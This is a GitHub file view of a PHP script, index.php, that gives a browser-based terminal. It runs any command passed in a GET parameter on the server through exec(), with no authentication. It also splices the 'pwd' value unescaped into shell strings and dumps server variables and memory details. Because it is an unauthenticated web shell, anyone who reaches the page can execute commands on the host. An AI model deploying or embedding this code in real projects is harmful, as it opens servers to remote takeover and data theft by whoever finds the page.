-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.php
105 lines (95 loc) · 3.14 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
session_start();
if(isset($_GET['pwd'])) $_SESSION['pwd'] = $_GET['pwd'];
if(!isset($_SESSION['histo']) || isset($_GET['clear'])) $_SESSION['histo'] = array();
if(!isset($_SESSION['commands']) || isset($_GET['clear'])) $_SESSION['commands'] = array();
if(!isset($_SESSION['pwd']) || isset($_GET['clear'])){
exec('pwd', $pwd);
$_SESSION['pwd'] = $pwd[0];
}
/*
* COMMAND PROCESSOR
*/
$command = isset($_GET['command'])?$_GET['command']:'';
$result = array();
// EXEC COMMAND + PUSH COMMAND IN HISTO
if($command!='') {
$cmds = $_SESSION['commands'];
$_SESSION['commands'] = array();
array_push($_SESSION['commands'], $command);
foreach($cmds as $cmd){
if(count($_SESSION['commands'])<5 && $cmd!=$_SESSION['commands'][0]){
array_push($_SESSION['commands'], $cmd);
}
}
// GET THE ACTIVE PATH
if(isset($_SESSION['pwd'])){
$path = $_SESSION['pwd'];
} else {
$pwd = array();
exec('pwd', $pwd);
$path = $pwd[0];
}
$_SESSION['pwd'] = $path;
// EXEC THE REQUESTED COMMAND
if(substr($command, 0, 1)=='$'){
exec(substr($command, 1), $result);
} else {
exec('cd '.$path.' && '.$command.' 2>&1', $result);
}
// GET THE NEW ACTIVE PATH
if(substr($command, 0, 3)=='cd '){
$pwd = array();
exec('cd '.$path.' && '.$command.' && pwd', $pwd);
$_SESSION['pwd'] = $pwd[0];
}
// PUSH COMMAND INTO HISTO
array_push($_SESSION['histo'], $_SERVER['SERVER_ADDR'].': '.$path.'$ '.$command);
}
// PUSH RESULTS INTO HISTO
foreach($result as $line){
array_push($_SESSION['histo'], $line);
}
// CLEAR HISTO : on ne garde que les 200 dernière lignes
while(count($_SESSION['histo'])>200){
array_shift($_SESSION['histo']);
}
/*
* IHM
*/
echo('<a href="?clear">CLEAR</a><br />');
echo('<div style="background:#000;color:#0f0;height:336px;line-height:14px;font-size:12px;font-family:andale mono,monospace;white-space:pre;overflow:scroll;" id="histo">');
foreach($_SESSION['histo'] as $line){
echo(str_replace('<', '<', str_replace('>', '>', $line)).'<br />');
}
if(isset($_SESSION['pwd'])){
echo($_SERVER['SERVER_ADDR'].': '.$_SESSION['pwd'].'$');
}
echo('</div>');
echo('<form method="get"><input style="width:410px;" id="command" name="command" value="" type="text" /><input type="submit" value="exec" /><input type="hidden" name="pwd" value="'.$_SESSION['pwd'].'" /></form>');
foreach($_SESSION['commands'] as $cmd){
echo('<a href="?command='.urlencode($cmd).'">'.str_replace('<', '<', str_replace('>', '>', $cmd)).'</a><br />');
}
echo('
<script type="text/javascript">
document.getElementById(\'command\').focus();
document.getElementById(\'histo\').scrollTop = '.max((count($_SESSION['histo']))*14, 0).';
</script>
');
$load = sys_getloadavg();
$nbCores = exec('grep \'model name\' /proc/cpuinfo | wc -l');
exec('cat /proc/meminfo', $mem);
preg_match('/ ([0123456789]+) kB/', $mem[0], $memTot);
preg_match('/ ([0123456789]+) kB/', $mem[1], $memFree);
echo('<br /><br />
load1min = '.$load[0].'<br />
load5min = '.$load[1].'<br />
load15min = '.$load[2].'<br />
nbCores = '.$nbCores.'<br />
memTotal = '.$memTot[1].'<br />
memFree = '.$memFree[1].'<br />
ip = '.$_SERVER['SERVER_ADDR'].'<br />
<br />');
foreach($_SERVER as $key => $val){
echo($key.' => '.$val.'<br />');
}